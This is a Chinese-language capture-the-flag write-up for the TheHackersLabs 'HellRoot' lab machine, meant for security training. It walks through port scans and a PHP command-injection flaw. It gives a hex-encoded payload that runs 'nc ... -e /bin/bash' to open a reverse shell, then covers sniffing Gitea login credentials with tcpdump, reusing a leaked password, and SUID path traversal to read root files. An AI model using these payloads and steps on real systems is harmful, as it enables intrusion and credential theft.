<h1>HellRoot</h1>
<blockquote>
<a href="https://labs.thehackerslabs.com/machine/121">https://labs.thehackerslabs.com/machine/121</a>
</blockquote>
<img src="/post-images/TheHackersLabsHellRoot/image.png" alt="image.png">
<h2>Recon</h2>
<h3>PortScan</h3>
<pre><code class="hljs language-bash">➜ HellRoot nmap -sT -min-rate 10000 -p- 192.168.56.95
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-30 15:08 CST
Nmap scan report for 192.168.56.95
Host is up (0.00052s latency).
Not shown: 65530 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
222/tcp open rsh-spx
443/tcp open https
5000/tcp open upnp
MAC Address: 08:00:27:5E:A1:66 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 3.73 seconds
</code></pre>
<pre><code class="hljs language-bash">➜ HellRoot nmap -sT -A -p 22,80,222,443,5000 192.168.56.95
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-30 15:09 CST
Nmap scan report for 192.168.56.95
Host is up (0.00076s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u6 (protocol 2.0)
| ssh-hostkey:
| 256 af:79:a1:39:80:45:fb:b7:cb:86:fd:8b:62:69:4a:64 (ECDSA)
|_ 256 6d:d4:9d:ac:0b:f0:a1:88:66:b4:ff:f6:42:bb:f2:e5 (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Apache2 Debian Default Page: It works
222/tcp open ssh OpenSSH 10.0 (protocol 2.0)
443/tcp open ssl/http nginx 1.29.0
| ssl-cert: Subject: commonName=git.hellroot.thl
| Not valid before: 2025-07-17T18:18:57
|_Not valid after: 2026-07-17T18:18:57
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| http/1.1
| http/1.0
|_ http/0.9
|_http-server-header: nginx/1.29.0
|_http-title: Did not follow redirect to https://git.hellroot.thl/
5000/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Domain Lookup Service
MAC Address: 08:00:27:5E:A1:66 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.76 ms 192.168.56.95
</code></pre>
扫描出来有两个 <code>SSH</code> 服务，三个 <code>Web</code>
<h3>枚举</h3>
<code>192.168.56.5</code> 是 <code>Apache</code> 的默认页面
<img src="/post-images/TheHackersLabsHellRoot/image1.png" alt="image.png">
<code>https://git.hellroot.thl/</code> 是 <code>Gitea</code>
<img src="/post-images/TheHackersLabsHellRoot/image2.png" alt="image.png">
<code>http://git.hellroot.thl:5000/</code> 是域名解析一样的东西
<img src="/post-images/TheHackersLabsHellRoot/image3.png" alt="image.png">
测试了一下这个功能，貌似是使用 <code>dig</code> 来做域名解析，不过我这里使用仅主机所以无法进行解析
<img src="/post-images/TheHackersLabsHellRoot/image4.png" alt="image.png">
这里我也尝试了命令拼接，经过简单尝试没有哪里可以进行注入
来到 <code>gitea</code> 能找到一个项目
<img src="/post-images/TheHackersLabsHellRoot/image5.png" alt="image.png">
将压缩包下载下来打开，是 <code>5000</code> 端口的源码
有三个文件
<img src="/post-images/TheHackersLabsHellRoot/image6.png" alt="image.png">
在 <code>Dockerfile</code> 里面能发现一个用户密码，但是这里使用 <code>SSH</code> 无法进行登录
<pre><code class="hljs language-bash"># Create user astro with passwordless sudo access only for /bin/su
RUN useradd -m astro &#x26;&#x26; echo "astro:iloveastro" | chpasswd &#x26;&#x26; \
 echo "astro ALL=(ALL:ALL) NOPASSWD: /bin/su" > /etc/sudoers.d/astro-su &#x26;&#x26; \
 chmod 440 /etc/sudoers.d/astro-su
</code></pre>
并且 <code>222</code> 端口只能使用私钥进行登录
<h2>RCE 漏洞</h2>
下边是<code>index.php</code> 的源码
<pre><code class="hljs language-bash">&#x3C;main>
 &#x3C;h1>Domain Lookup Service&#x3C;/h1>
 &#x3C;form method="POST" action="">
 &#x3C;label for="domain">Enter Domain&#x3C;/label>
 &#x3C;input id="domain" name="domain" type="text" placeholder="example.com" required autocomplete="off" />
 &#x3C;button type="submit">Lookup DNS&#x3C;/button>
 &#x3C;/form>

&#x3C;?php
if ($_SERVER['REQUEST_METHOD'] === 'POST' &#x26;&#x26; !empty($_POST['domain'])) {
 $input = trim($_POST['domain']);
 $decoded = @hex2bin($input);

 // Always show raw output for debugging
 ob_start();

 if ($decoded !== false &#x26;&#x26; ctype_print($decoded)) {
 if (strpos($decoded, ';') !== false) {
 // Remove header modification that breaks execution
 $output = shell_exec($decoded . ' 2>&#x26;1');
 } else {
 $safeDomain = escapeshellarg($decoded);
 $output = shell_exec("nslookup $safeDomain 2>&#x26;1");
 }
 } else {
 $safeDomain = escapeshellarg($input);
 $output = shell_exec("nslookup $safeDomain 2>&#x26;1");
 }

 echo '&#x3C;pre class="result">' . htmlspecialchars($output ?: 'No output returned.') . '&#x3C;/pre>';
 ob_end_flush();
}
?>
</code></pre>
很明显存在一个<code>RCE</code> 漏洞
这里接收我们的参数 <code>domain</code> ，然后对其进行<code>16</code>进制编码
<pre><code class="hljs language-bash">$input = trim($_POST['domain']);
$decoded = @hex2bin($input);
</code></pre>
然后下边判断解码是否成功，和是否为可以打印字符
假如我们直接输入字符则进入 <code>else</code>
<pre><code class="hljs language-bash"> if ($decoded !== false &#x26;&#x26; ctype_print($decoded)) {
 if (strpos($decoded, ';') !== false) {
 // Remove header modification that breaks execution
 $output = shell_exec($decoded . ' 2>&#x26;1');
 } else {
 $safeDomain = escapeshellarg($decoded);
 $output = shell_exec("nslookup $safeDomain 2>&#x26;1");
 }
 } else {
		 // 字符直接进入这里
 $safeDomain = escapeshellarg($input);
 $output = shell_exec("nslookup $safeDomain 2>&#x26;1");
 }
</code></pre>
假如我们输入<code>16</code>进制，并且解码成功就会进入
<pre><code class="hljs language-bash">if (strpos($decoded, ';') !== false) {
 // Remove header modification that breaks execution
 $output = shell_exec($decoded . ' 2>&#x26;1');
 } else {
 $safeDomain = escapeshellarg($decoded);
 $output = shell_exec("nslookup $safeDomain 2>&#x26;1");
 }
</code></pre>
<code>$output = shell_exec($decoded . ' 2>&#x26;1');</code> ，如果找到了分号，代码会直接将解码后的、未经任何处理的字符串 <code>$decoded</code> 传递给 <code>shell_exec</code> 函数执行
我们尝试 <code>google.com;nc 192.168.56.5 80</code> ，然后转换为 <code>16</code> 进制
<img src="/post-images/TheHackersLabsHellRoot/image7.png" alt="image.png">
参数填入 <code>domian</code> 参数后成功执行
<img src="/post-images/TheHackersLabsHellRoot/image8.png" alt="image.png">
进行反弹 <code>shell</code>
<pre><code class="hljs language-bash">google.com;nc 192.168.56.5 1234 -e /bin/bash
// To hex
676f6f676c652e636f6d3b6e63203139322e3136382e35362e352031323334202d65202f62696e2f62617368
</code></pre>
<img src="/post-images/TheHackersLabsHellRoot/image9.png" alt="image.png">
<h2>网络嗅探</h2>
当前我们在 <code>Docker</code> 环境里面
<pre><code class="hljs language-bash">www-data@05cc10128c04:/home$ ls -la /
total 64
drwxr-xr-x 1 root root 4096 Jul 19 12:49 .
drwxr-xr-x 1 root root 4096 Jul 19 12:49 ..
-rwxr-xr-x 1 root root 0 Jul 19 12:49 .dockerenv
</code></pre>
找到一个文本文件
<pre><code class="hljs language-bash">www-data@05cc10128c04:/var/www/html$ cat sniff.txt 
Puede que haya ciertas herramientas que te permitan esnifar el trafico.
</code></pre>
<blockquote>
可能存在某些工具可以让你嗅探流量。
</blockquote>
隐藏的 <code>.config</code> 文件夹
<pre><code class="hljs language-bash">www-data@05cc10128c04:/var/www/html/.config$
</code></pre>
里面有 <code>dpkg</code> 的信息，能看到有 <code>tcpdump</code>
<img src="/post-images/TheHackersLabsHellRoot/image10.png" alt="image.png">
使用上面的得到的凭据切换用户
<pre><code class="hljs language-bash">www-data@05cc10128c04:/home$ su astro 
Password: 
$ id
uid=1001(astro) gid=1001(astro) groups=1001(astro)
</code></pre>
再根据 <code>sudo -l</code> 的权限，可以直接切换到 <code>root</code>
<pre><code class="hljs language-bash">$ sudo -l
Matching Defaults entries for astro on 05cc10128c04:
 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User astro may run the following commands on 05cc10128c04:
 (ALL : ALL) NOPASSWD: /bin/su
$ sudo su root
root@05cc10128c04:/home# 
</code></pre>
我们再根据上边的文件进行网络嗅探
<img src="/post-images/TheHackersLabsHellRoot/image11.png" alt="image.png">
但是直接抓并不能抓到什么有用的，想起来 <code>Gitea</code> 可以进行登录
先提前开启抓包，然后在网站上个使用凭据登录
<pre><code class="hljs language-scheme">tcpdump -i eth0 -A -w 1.pcap
</code></pre>
<img src="/post-images/TheHackersLabsHellRoot/image12.png" alt="image.png">
然后直接查看数据包，能得到一个凭据
<img src="/post-images/TheHackersLabsHellRoot/image13.png" alt="image.png">
但一开始并没想到这个是密码，因为我认为这是前端传过来加密数据
然后在 <code>ssh</code> 进行密码碰撞，成功登录进去了
<img src="/post-images/TheHackersLabsHellRoot/image14.png" alt="image.png">
能读取到 <code>user.txt</code>
<img src="/post-images/TheHackersLabsHellRoot/image15.png" alt="image.png">
<h2>权限提升</h2>
寻找存在 <code>suid</code> 权限的程序
<pre><code class="hljs language-scheme">astro@hellroot:~$ find / -perm -u=s -type f 2>/dev/null
/usr/local/bin/secmonitor
/usr/local/bin/logview
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/passwd
/usr/bin/mount
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/chfn
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
</code></pre>
有两个奇怪的程序 <code>logview</code> 和 <code>secmonitor</code>
<code>logview</code> 能直接读文件，直接读 <code>root.txt</code>
<pre><code class="hljs language-scheme">astro@hellroot:~$ logview ../../root/root.txt
[logview] Running with administrative privileges
Displaying log: /var/log/../../root/root.txt
f03xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
</code></pre>

HellRoot https://labs.thehackerslabs.com/machine/121 Recon PortScan 扫描出来有两个 SSH 服务，三个 Web 枚举 192.168.56.5 是 Apache 的默认页面 https://git.hellroot.thl/ 是 G...

TheHackersLabs - HellRoot

TheHackersLabs - THLPWN

念念碎